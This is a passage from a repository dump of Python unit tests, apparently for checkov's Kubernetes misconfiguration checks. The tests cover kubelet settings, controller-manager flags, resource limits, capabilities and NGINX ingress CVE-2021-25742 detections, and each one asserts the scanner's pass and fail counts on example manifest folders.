    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ImagePullPolicyAlways import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestImagePullPolicyAlways(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ImagePullPolicy\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 6)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ImageTagFixed.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ImageTagFixed import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestImageTagFixed(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ImageTagFixed\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 4)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_KubeControllerManagerBlockProfiles.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.kubernetes.checks.resource.k8s.KubeControllerManagerBlockProfiles import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestKubeControllerManagerBlockProfiles(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_KubeControllerManagerBlockProfiles\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Pod.kube-system.kube-controller-manager-disabled\",\n        }\n        failing_resources = {\n            \"Pod.kube-system.kube-controller-manager-default\",\n            \"Pod.kube-system.kube-controller-manager-enabled\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(1, summary[\"passed\"])\n        self.assertEqual(2, summary[\"failed\"])\n        self.assertEqual(0, summary[\"skipped\"])\n        self.assertEqual(0, summary[\"parsing_errors\"])\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_KubeControllerManagerRootCAFile.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.kubernetes.checks.resource.k8s.KubeControllerManagerRootCAFile import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestKubeControllerManagerRootCAFile(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_KubeControllerManagerRootCAFile\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Pod.kube-system.kube-controller-manager-none\",\n            \"Pod.kube-system.kube-controller-manager-pem\",\n        }\n        failing_resources = {\n            \"Pod.kube-system.kube-controller-manager-no-pem\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_KubeControllerManagerServiceAccountCredentials.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.kubernetes.checks.resource.k8s.KubeControllerManagerServiceAccountCredentials import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestKubeControllerManagerServiceAccountCredentials(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_KubeControllerManagerServiceAccountCredentials\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Pod.kube-system.kube-controller-manager-enabled\",\n        }\n        failing_resources = {\n            \"Pod.kube-system.kube-controller-manager-default\",\n            \"Pod.kube-system.kube-controller-manager-disabled\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(1, summary[\"passed\"])\n        self.assertEqual(2, summary[\"failed\"])\n        self.assertEqual(0, summary[\"skipped\"])\n        self.assertEqual(0, summary[\"parsing_errors\"])\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_KubeControllerManagerServiceAccountPrivateKeyFile.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.kubernetes.checks.resource.k8s.KubeControllerManagerServiceAccountPrivateKeyFile import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestKubeControllerManagerServiceAccountPrivateKeyFile(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_KubeControllerManagerServiceAccountPrivateKeyFile\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Pod.kube-system.kube-controller-manager-pem\",\n            \"Pod.kube-system.kube-controller-manager-none\",\n        }\n        failing_resources = {\n            \"Pod.kube-system.kube-controller-manager-no-pem\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_KubeControllerManagerTerminatedPods.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.kubernetes.checks.resource.k8s.KubeControllerManagerTerminatedPods import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestKubeControllerManagerTerminatedPods(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_KubeControllerManagerTerminatedPods\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Pod.kube-system.kube-controller-manager-enabled\",\n            \"Pod.kube-system.kube-controller-manager-default\",\n        }\n        failing_resources = {\n            \"Pod.kube-system.kube-controller-manager-missing\",\n            \"Pod.kube-system.kube-controller-manager-disabled\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_KubeletAnonymousAuth.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.KubeletAnonymousAuth import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestKubeletAnonymousAuth(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_KubeletAnonymousAuth\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        \n        \n        for record in report.failed_checks:\n            self.assertIn(\"FAILED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n            \n        for record in report.passed_checks:\n            self.assertIn(\"PASSED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_KubeletAuthorizationModeNotAlwaysAllow.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.KubeletAuthorizationModeNotAlwaysAllow import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestKubeletAuthorizationModeNotAlwaysAllow(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_KubeletAuthorizationModeNotAlwaysAllow\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        \n        for record in report.failed_checks:\n            self.assertIn(\"FAILED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n            \n        for record in report.passed_checks:\n            self.assertIn(\"PASSED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_KubeletClientCa.py",
    "content": "\nimport os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.KubeletClientCa import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestKubeletClientCa(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_KubeletClientCa\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        \n        \n        for record in report.failed_checks:\n            self.assertIn(\"FAILED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n            \n        for record in report.passed_checks:\n            self.assertIn(\"PASSED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n\n\nif __name__ == '__main__':\n    unittest.main()\n        \n    "
  },
  {
    "path": "tests/kubernetes/checks/test_KubeletCryptographicCiphers.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.KubeletCryptographicCiphers import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestKubeletCryptographicCiphers(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_KubeletCryptographicCiphers\"\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        for record in report.failed_checks:\n            self.assertIn(\"FAILED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n\n        for record in report.passed_checks:\n            self.assertIn(\"PASSED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/kubernetes/checks/test_KubeletHostnameOverride.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.KubeletHostnameOverride import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestKubeletHostnameOverride(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_KubeletHostnameOverride\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        \n        \n        for record in report.failed_checks:\n            self.assertIn(\"FAILED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n            \n        for record in report.passed_checks:\n            self.assertIn(\"PASSED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_KubeletKeyFilesSetAppropriate.py",
    "content": "\nimport os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.KubeletKeyFilesSetAppropriate import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestKubeletKeyFilesSetAppropriate(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_KubeletKeyFilesSetAppropriate\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        \n        \n        for record in report.failed_checks:\n            self.assertIn(\"FAILED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n            \n        for record in report.passed_checks:\n            self.assertIn(\"PASSED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n\n\nif __name__ == '__main__':\n    unittest.main()\n        \n    "
  },
  {
    "path": "tests/kubernetes/checks/test_KubeletMakeIptablesUtilChains.py",
    "content": "\nimport os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.KubeletMakeIptablesUtilChains import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestKubeletMakeIptablesUtilChains(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_KubeletMakeIptablesUtilChains\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        \n        \n        for record in report.failed_checks:\n            self.assertIn(\"FAILED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n            \n        for record in report.passed_checks:\n            self.assertIn(\"PASSED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n\n\nif __name__ == '__main__':\n    unittest.main()\n        \n    "
  },
  {
    "path": "tests/kubernetes/checks/test_KubeletProtectKernelDefaults.py",
    "content": "\nimport os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.KubeletProtectKernelDefaults import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestKubeletProtectKernelDefaults(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_KubeletProtectKernelDefaults\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        \n        \n        for record in report.failed_checks:\n            self.assertIn(\"FAILED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n            \n        for record in report.passed_checks:\n            self.assertIn(\"PASSED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n\n\nif __name__ == '__main__':\n    unittest.main()\n        \n    "
  },
  {
    "path": "tests/kubernetes/checks/test_KubeletReadOnlyPort.py",
    "content": "\nimport os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.KubeletReadOnlyPort import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestKubeletReadOnlyPort(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_KubeletReadOnlyPort\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        \n        \n        for record in report.failed_checks:\n            self.assertIn(\"FAILED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n            \n        for record in report.passed_checks:\n            self.assertIn(\"PASSED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n\n\nif __name__ == '__main__':\n    unittest.main()\n        \n    "
  },
  {
    "path": "tests/kubernetes/checks/test_KubeletStreamingConnectionIdleTimeout.py",
    "content": "\nimport os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.KubeletStreamingConnectionIdleTimeout import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestKubeletStreamingConnectionIdleTimeout(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_KubeletStreamingConnectionIdleTimeout\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        \n        \n        for record in report.failed_checks:\n            self.assertIn(\"FAILED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n            \n        for record in report.passed_checks:\n            self.assertIn(\"PASSED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n\n\nif __name__ == '__main__':\n    unittest.main()\n        \n    "
  },
  {
    "path": "tests/kubernetes/checks/test_KubernetesDashboard.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.KubernetesDashboard import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestKubernetesDashboard(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_KubernetesDashboard\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 4)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_KubletEventCapture.py",
    "content": "\nimport os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.KubletEventCapture import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestKubletEventCapture(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_KubletEventCapture\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        \n        \n        for record in report.failed_checks:\n            self.assertIn(\"FAILED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n            \n        for record in report.passed_checks:\n            self.assertIn(\"PASSED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n\n\nif __name__ == '__main__':\n    unittest.main()\n        \n    "
  },
  {
    "path": "tests/kubernetes/checks/test_KubletRotateCertificates.py",
    "content": "\nimport os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.KubletRotateCertificates import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestKubletRotateCertificates(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_KubletRotateCertificates\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        \n        for record in report.failed_checks:\n            with self.subTest(record=record):\n                self.assertIn(\"FAILED\", record.file_path)\n                self.assertIn(record.check_id, [check.id])\n            \n        for record in report.passed_checks:\n            with self.subTest(record=record):\n                self.assertIn(\"PASSED\", record.file_path)\n                self.assertIn(record.check_id, [check.id])\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_LivenessProbe.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.LivenessProbe import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestLivenessProbe(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_LivenessReadiness\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_MemoryLimits.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.MemoryLimits import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestMemoryLimits(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_Requests_Limits\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_MemoryRequests.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.MemoryRequests import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestMemoryRequests(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_Requests_Limits\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_MinimizeCapabilities.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.MinimizeCapabilities import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestMinimizeCapabilities(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DropCapabilities\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_MinimizeCapabilitiesPSP.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.MinimizeCapabilitiesPSP import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestMinimizeCapabilitiesPSP(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_PSP\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_NginxIngressCVE202125742Alias.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.NginxIngressCVE202125742Alias import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestNginxIngressCVE202125742Alias(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_NginxIngressCVE202125742\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 3)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_NginxIngressCVE202125742AllSnippets.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.NginxIngressCVE202125742AllSnippets import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestNginxIngressCVE202125742AllSnippets(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_NginxIngressCVE202125742\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_NginxIngressCVE202125742Lua.py",
